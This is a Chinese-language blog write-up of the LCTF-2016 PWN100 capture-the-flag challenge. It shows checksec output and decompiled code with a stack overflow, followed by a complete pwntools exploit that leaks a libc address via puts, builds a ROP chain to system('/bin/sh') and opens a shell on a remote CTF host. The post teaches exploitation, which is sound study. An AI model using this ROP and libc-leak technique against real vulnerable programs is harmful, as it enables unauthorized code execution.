LCTF-2016 PWN100

idea

最近刷 xctf 的攻防世界,然后刷到了 2016 年的题。看了一下逻辑有个明显的 stack-overflow,但是每次只能写一个字节,写满 200 字节才可以利用。挺有意思的,记录一下。需要注意的是 x64 下函数传参优先寄存器,意味着得找 gadgets 来构造 ROP。

1
2
3
4
5
6
7
❯ checksec pwn100
[*] '/Users/carlstar/tools/CTF/PWN/ROP/x64/xman/pwn100'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int sub_40068E()
{
char v1; // [rsp+0h] [rbp-40h]

sub_40063D((__int64)&v1, 200);
return puts("bye~");
}


__int64 __fastcall sub_40063D(__int64 a1, signed int a2)
{
__int64 result; // rax
unsigned int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; ; ++i )
{
result = i;
if ( (signed int)i >= a2 )
break;
read(0, (void *)((signed int)i + a1), 1uLL);
}
return result;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
#context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])

#t = remote('192.168.5.148', 9999)
t = remote('111.198.29.45', 31789)
payload = cyclic(72)
got_read = 0x601028
got_puts = 0x601018
plt_puts = 0x400500
pop_rdi_ret = 0x400763
addr_ret = 0x4006B8
tmp_payload = cyclic(96)
payload_len = len(cyclic(72) + p64(got_puts) + p64(plt_puts) + p64(pop_rdi_ret)+p64(addr_ret))
print payload_len
def write(data, flag):
if flag:
for i in data:
t.send(i)
else:
data = p64(data)
for i in data:
t.send(i)

#raw_input()
write(payload,True)
write(pop_rdi_ret,False)
write(got_puts,False)
write(plt_puts,False)
write(addr_ret,False)
write(tmp_payload,True)
t.recvline()
addr_puts = u64(t.recvuntil('\n',drop = True).ljust(0x8,'\x00'))
log.info(hex(addr_puts))
addr_sys = addr_puts - 0x06f690 + 0x045390
addr_bin = addr_puts - 0x06f690 + 0x18cd57
log.info(hex(addr_sys))
print len(cyclic(72) + p64(pop_rdi_ret) + p64(pop_rdi_ret)+ p64(pop_rdi_ret))
#raw_input()
payload = cyclic(72)
write(payload,True)
#raw_input()
#write('\x00\x00\x00\x00\xf9\x06\x40',True)
write(pop_rdi_ret,False)
write(addr_bin,False)
write(addr_sys,False)
tmp_payload = cyclic(104)
write(tmp_payload,True)
t.interactive()
文章作者: Carl Star
文章链接: http://carlstar.club/2019/04/02/lctf/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hexo